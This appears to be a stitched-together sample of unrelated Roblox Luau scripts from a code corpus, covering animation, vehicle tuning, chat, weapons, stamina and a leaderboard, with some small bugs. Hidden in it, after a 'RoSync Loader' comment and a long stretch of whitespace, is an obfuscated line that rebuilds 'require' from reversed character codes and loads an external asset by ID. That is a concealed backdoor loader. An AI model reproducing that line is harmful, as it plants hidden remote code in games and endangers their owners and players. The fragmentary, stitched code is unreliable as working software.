Roblox/luau_corpus huggingface dataset:
------------------------------------------------------------------------------------------------------------

function configureAnimationSetOld(name, fileList)
	if (animTable[name] ~= nil) then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0	
	animTable[name].connections = {}

	local allowCustomAnimations = true

	local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
	if not success then
		allowCustomAnimations = true
	end

	-- check for config values
	local config = script:FindFirstChild(name)
	if (allowCustomAnimations and config ~= nil) then
		table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
				idx = idx + 1
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
			-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
		end
	end
	
	-- preload anims
	if PreloadAnimsUserFlag then
		for i, animType in pairs(animTable) do
			for idx = 1, animType.count, 1 do 
				Humanoid:LoadAnimation(animType[idx].anim)
			end
		end
	end
end
--[=[
    @interface ISimulationConfig
    @within Types
    .raycastWhitelist {BasePart} -- Raycast whitelist used for collision checks.
    .feetHeight number -- Players feet height. Height goes from -2.5 to +2.5 so any point below this number is considered the players feet. The distance between middle and feetHeight is "ledge".
    .stepSize number -- How big an object we can step over?

    The config passed to the Chickynoid [Simulation] class.
]=]
export type ISimulationConfig = {
    raycastWhitelist: { BasePart },
    feetHeight: number,
    stepSize: number,
}
--[[Weight and CG]]
	Tune.Weight			= 3296		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
--[[
	Tells whether the current test we're in should be skipped.
]]
function TestSession:shouldSkip()
	-- If our test tree had any exclusive tests, then normal tests are skipped!
	if self.hasFocusNodes then
		for i = #self.nodeStack, 1, -1 do
			local node = self.nodeStack[i]

			-- Skipped tests are still skipped
			if node.planNode.modifier == TestEnum.NodeModifier.Skip then
				return true
			end

			-- Focused tests are the only ones that aren't skipped
			if node.planNode.modifier == TestEnum.NodeModifier.Focus then
				return false
			end
		end

		return true
	else
		for i = #self.nodeStack, 1, -1 do
			local node = self.nodeStack[i]

			if node.planNode.modifier == TestEnum.NodeModifier.Skip then
				return true
			end
		end
	end

	return false
end

return TestSession
--[[Remove Character Weight]]
	--Get Seats
	local Seats = {}
	function getSeats(p)
		for i,v in pairs(p:GetChildren()) do
			if v:IsA("VehicleSeat") or v:IsA("Seat") then
				local seat = {}
				seat.Seat = v
				seat.Parts = {}
				table.insert(Seats,seat)
			end
			getSeats(v)
		end	
	end
	getSeats(car)
	
	--Store Physical Properties/Remove Mass Function
	function getPProperties(mod,t)
		for i,v in pairs(mod:GetChildren()) do
			if v:IsA("BasePart") then
				if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
				table.insert(t,{v,v.CustomPhysicalProperties})
				v.CustomPhysicalProperties = PhysicalProperties.new(
					0,
					v.CustomPhysicalProperties.Friction,
					v.CustomPhysicalProperties.Elasticity,
					v.CustomPhysicalProperties.FrictionWeight,
					v.CustomPhysicalProperties.ElasticityWeight
				)
			end
			getPProperties(v,t)
		end			
	end
	
	--Apply Seat Handler
	for i,v in pairs(Seats) do
		--Sit Handler
		v.Seat.ChildAdded:connect(function(child)
			if child.Name=="SeatWeld" and child:IsA("Weld") and child.Part1~=nil and child.Part1.Parent ~= workspace and not child.Part1.Parent:IsDescendantOf(car) then
				v.Parts = {}
				getPProperties(child.Part1.Parent,v.Parts)
			end
		end)
		
		--Leave Handler
		v.Seat.ChildRemoved:connect(function(child)
			if child.Name=="SeatWeld" and child:IsA("Weld") then
				for i,v in pairs(v.Parts) do
					if v[1]~=nil and v[2]~=nil and v[1]:IsDescendantOf(workspace) then
						v[1].CustomPhysicalProperties = v[2]
					end
				end
				v.Parts = {}
			end
		end)
	end
-- functions

local function Update()
	GUN_GUI.AmmoLabel.Text	= tostring(currentAmmo)
	
	if character then
		GUN_GUI.TotalLabel.Text	= tostring(ammo[currentSize].Value)
	end
end

local function HandleCharacter(newCharacter)
	if newCharacter then
		character	= nil
		
		ammo		= newCharacter:WaitForChild("Ammo")
		character	= newCharacter
	end
end
-- Script by Tonitoni. Model link: http://www.roblox.com/Max-Zoom-Distance-script-item?id=160640387
-- v.1.1 June 7th 2015

game.Players.PlayerAdded:connect(function(player)
	wait(0.5) --Players report the script didn't work. Adding this should resolve the issue.
	player.CameraMaxZoomDistance = 100000 -- Change this to change zoom distance
end)
--[[**
	ensures Roblox UDim type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]
t.UDim = primitive("UDim")
--The settings above will give the player a chance to use the Med Kit.

for i = 1,Length do 
	Humanoid = script.Parent.Humanoid
	Humanoid.Health = Humanoid.Health - Lethality
	wait(WaitTime)
end
--[=[
	@param msg string
	Throws an error with `msg` as the error message if the value is _not_ None.
]=]
function Option:ExpectNone(msg)
	assert(self:IsNone(), msg)
end
--[[Information about tool:
This tool is created with the AH-64.
its one of the Efectivest tools created by me
]]
--Not change below SOMETHING! Exept where i say u may do !
--Flight movement
creativeval = 0
bin=script.Parent
--Camera frustum check
local last_camera_res = nil
local last_camera_fov = nil
local cam_planes = nil
function camera_util.CheckFrustum(point, rad)
	--Update camera planes if FOV or resolution changed
	local camera = workspace.CurrentCamera
	if cam_planes == nil or camera.ViewportSize ~= last_camera_res or camera.FieldOfView ~= last_camera_fov then
		--Get camera factors
		last_camera_res = camera.ViewportSize
		last_camera_fov = camera.FieldOfView

		local aspectRatio = last_camera_res.X / last_camera_res.Y
		local hFactor = math.tan(math.rad(last_camera_fov) / 2)
		local wFactor = aspectRatio * hFactor

		--Get planes
		cam_planes = {
			Vector3.new(hFactor, 0, 1).unit,
			Vector3.new(0, wFactor, 1).unit,
			Vector3.new(-hFactor, 0, 1).unit,
			Vector3.new(0, -wFactor, 1).unit,
		}
	end

	--Test against camera planes
	local cframe = camera.CFrame
	local local_pos = cframe:inverse() * point

	for _,v in pairs(cam_planes) do
		if v:Dot(local_pos) > rad then
			return false
		end
	end

	return true
end

return camera_util
--[[ Last synced 7/2/2022 01:10 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.

local FILTER_MESSAGE_TIMEOUT = 60

local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")

local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))

local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end

local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
	OnNewMessage = "RemoteEvent",
	OnMessageDoneFiltering = "RemoteEvent",
	OnNewSystemMessage = "RemoteEvent",
	OnChannelJoined = "RemoteEvent",
	OnChannelLeft = "RemoteEvent",
	OnMuted = "RemoteEvent",
	OnUnmuted = "RemoteEvent",
	OnMainChannelSet = "RemoteEvent",

	SayMessageRequest = "RemoteEvent",
	GetInitDataRequest = "RemoteFunction",
}
-- Image shortcuts: you can use these string instead of using image ids
richText.ImageShortcuts = {}
richText.ImageShortcuts.Eggplant = 639588687
richText.ImageShortcuts.Thinking = 955646496
richText.ImageShortcuts.Sad = 947900188
richText.ImageShortcuts.Happy = 414889555
richText.ImageShortcuts.Despicable = 711674643
--// SERVICES //--

local CoreGuiService = game:GetService('CoreGui')
local PlayersService = game:GetService('Players')
local GuiService = game:GetService('GuiService')
local UserInputService = game:GetService('UserInputService')
local StarterGui = game:GetService('StarterGui')
local STS_Settings = script.Parent.Parent.Parent.Parent:WaitForChild('STS_Settings')

local Character = game.Players.LocalPlayer.Character
if Character == nil then
	repeat
		wait()
	until (Character ~= nil)
	print('FoundCharacter')
end
local Stamina = Character:WaitForChild('Stamina')
local Sprinting = false
local StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay
local StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina
local OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed
local SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value
local RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value
local RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value
--!nonstrict
-- Roblox character sound script

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local AtomicBinding = require(script:WaitForChild("AtomicBinding"))

local function loadFlag(flag: string)
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled(flag)
	end)
	return success and result
end

local SOUND_DATA : { [string]: {[string]: any}} = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
	},
	Died = {
		SoundId = "rbxasset://sounds/uuhhh.mp3",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
		Pitch = 1.85,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}
-- Setup animation objects
function scriptChildModified(child)
	local fileList = animNames[child.Name]
	if (fileList ~= nil) then
		configureAnimationSet(child.Name, fileList)
	end	
end

script.ChildAdded:Connect(scriptChildModified)
script.ChildRemoved:Connect(scriptChildModified)


for name, fileList in pairs(animNames) do 
	configureAnimationSet(name, fileList)
end
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
ChatLocalization = ChatLocalization or {}

if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
	function ChatLocalization:FormatMessageToSend(key,default) return default end
end
--GUI setup--
local BoostGaugeVisible = true -- true=visible false=not visible
--// Functions
function MakeFakeArms()
	Arms = Instance.new("Model")
	Arms.Name = "Arms"
	Arms.Parent = L_5_

	local L_158_ = Instance.new("Humanoid")
	L_158_.MaxHealth = 0
	L_158_.Health = 0
	L_158_.Name = ""
	L_158_.Parent = Arms
		
	if L_3_:FindFirstChild("Shirt") then
		local L_163_ = L_3_:FindFirstChild("Shirt"):clone()
		L_163_.Parent = Arms
	end
	
	local L_159_ = L_3_:FindFirstChild("Right Arm"):clone()
	for L_164_forvar1, L_165_forvar2 in pairs(L_159_:GetChildren()) do
		if L_165_forvar2:IsA('Motor6D') then
			L_165_forvar2:Destroy()
		end
	end
	L_159_.Name = "Right Arm"
	L_159_.FormFactor = "Custom"
	L_159_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_159_.Transparency = 0.0
	
	local L_160_ = Instance.new("Motor6D")
	L_160_.Part0 = L_159_
	L_160_.Part1 = L_3_:FindFirstChild("Right Arm")
	L_160_.C0 = CFrame.new()
	L_160_.C1 = CFrame.new()
	L_160_.Parent = L_159_	
	L_159_.Parent = Arms
		
	local L_161_ = L_3_:FindFirstChild("Left Arm"):clone()
	L_161_.Name = "Left Arm"
	L_161_.FormFactor = "Custom"
	L_161_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_161_.Transparency = 0.0	
	
	local L_162_ = Instance.new("Motor6D")
	L_162_.Part0 = L_161_
	L_162_.Part1 = L_3_:FindFirstChild("Left Arm")
	L_162_.C0 = CFrame.new()
	L_162_.C1 = CFrame.new()
	L_162_.Parent = L_161_	
	L_161_.Parent = Arms
end

function RemoveArmModel()
	if Arms then
		Arms:Destroy()
		Arms = nil
	end
end

local L_121_

function CreateShell()
	L_121_ = time()
	local L_166_ = L_1_.Shell:clone()
	if L_166_:FindFirstChild('Shell') then
		L_166_.Shell:Destroy()
	end
	L_166_.CFrame =  L_1_.Chamber.CFrame
	L_166_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
	--shell.RotVelocity = Vector3.new(-10,40,30)
	L_166_.Parent = L_90_
	L_166_.CanCollide = false
	game:GetService("Debris"):addItem(L_166_, 1)
end
-- Add script when player is added
game.Players.PlayerAdded:connect(addScriptAtRespawn)


local MyHook = script.Parent["Chain Hook"]
local Remote = script.Parent.RemoteEvent
local Bindable = MyHook.Talker
local Coupled = script.Parent.Coupled
local Rotator = script.Parent.Rotator.Rotator

function weld(i,j)
	local weld1 = Instance.new("Weld") 
	weld1.Name = j.Name
	weld1.Part0 = i
	weld1.Part1 = j
	weld1.C1 = j.CFrame:inverse()*i.CFrame
	weld1.Parent = j
end

function SetupDecouple(chain)
	if chain.Parent then
		Coupled.Value = true
		local b
		local a
		a = chain.AncestryChanged:connect(function(_,newpar)
			if not newpar then
				Coupled.Value = false
				a:disconnect()
				b:disconnect()
			end
		end)
		b = chain.ChildRemoved:connect(function()
			Coupled.Value = false
			a:disconnect()
			b:disconnect()
			wait()
			chain:Destroy()
		end)
	end
end

Bindable.Event:connect(function(data)
	if data["Chain"] then
		SetupDecouple(data["Chain"])
	end
end)

function couple(hook1,hook2)
	if hook1.Velocity.magnitude > 0.5 or hook2.Velocity.magnitude > 0.5 then
		return false
	end
	if (hook1.Position-hook2.Position).magnitude > 5 and (hook1.Position-hook2.Position).magnitude < 3 then
		return false
	end
	local chain = Instance.new("RopeConstraint")
	chain.Attachment0 = hook1.Attachment
	chain.Attachment1 = hook2.Attachment
	chain.Color = BrickColor.new("Flint")
	chain.Thickness = 0.2
	chain.Parent = Workspace
	chain.Visible = true
	chain.Name = "Chain Link Coupler"
	chain.Length = (hook1.Position-hook2.Position.magnitude)
	script.Decouple:Clone().Parent = chain
	return true
end

Remote.OnServerEvent:connect(function(player,data)
	if data["Connect this"] and data["Connect this"].Name == "Chain Hook" and data["Connect this"] ~= MyHook and not Coupled.Value and not data["Connect this"].Parent.Coupled.Value then
		couple(MyHook,data["Connect this"])
	end
end)
-----------------------------------------------



function findAllFlagStands(root)
	local c = root:children()
	for i=1,#c do
		if (c[i].className == "Model" or c[i].className == "Part") then
			findAllFlagStands(c[i])
		end
		if (c[i].className == "FlagStand") then
			table.insert(stands, c[i])
		end
	end
end

function hookUpListeners()
	for i=1,#stands do
		stands[i].FlagCaptured:connect(onCaptureScored)
	end
end

function onPlayerEntered(newPlayer)

	if CTF_mode == true then

		local stats = Instance.new("IntValue")
		stats.Name = "leaderstats"

		local captures = Instance.new("IntValue")
		captures.Name = "Captures"
		captures.Value = 0


		captures.Parent = stats

		-- VERY UGLY HACK
		-- Will this leak threads?
		-- Is the problem even what I think it is (player arrived before character)?
		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		stats.Parent = newPlayer

	else

		local stats = Instance.new("IntValue")
		stats.Name = "leaderstats"
		local kills = false
		if Settings.LeaderboardSettings.KOs then
			kills = Instance.new("IntValue")
			kills.Name = Settings.LeaderboardSettings.KillsName
			kills.Value = 0
		end
		local deaths = false
		if Settings.LeaderboardSettings.WOs then
			deaths = Instance.new("IntValue")
			deaths.Name = Settings.LeaderboardSettings.DeathsName
			deaths.Value = 0
		end
		
		local Cash = false
		if Settings.LeaderboardSettings.ShowCurrency then
			Cash = Instance.new("StringValue")
			Cash.Name = Settings.CurrencyName
			Cash.Value = 0
		end
		
		local PlayerStats = game.ServerStorage.PlayerMoney:FindFirstChild(newPlayer.Name)
		if PlayerStats ~= nil then
			if Cash then
				local Short = Settings.LeaderboardSettings.ShowShortCurrency
				PlayerStats.Changed:connect(function()
					if (Short) then
						Cash.Value = Settings:ConvertShort(PlayerStats.Value)
					else
						Cash.Value = Settings:ConvertComma(PlayerStats.Value)
					end
				end)
			end
		end
		if kills then
		kills.Parent = stats
		end
		if deaths then
		deaths.Parent = stats
		end
		if Cash then
		cash.Parent = stats
		end

		-- VERY UGLY HACK
		-- Will this leak threads?
		-- Is the problem even what I think it is (player arrived before character)?
		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		local humanoid = newPlayer.Character.Humanoid

		humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )

		-- start to listen for new humanoid
		newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )


		stats.Parent = newPlayer

	end

end


function onCaptureScored(player)

		local ls = player:findFirstChild("leaderstats")
		if ls == nil then return end
		local caps = ls:findFirstChild("Captures")
		if caps == nil then return end
		caps.Value = caps.Value + 1

end


findAllFlagStands(game.Workspace)
hookUpListeners()
if (#stands > 0) then CTF_mode = true end
game.Players.ChildAdded:connect(onPlayerEntered)
--// Handling Settings		
	Firerate = 60 / 780; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
	
	FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive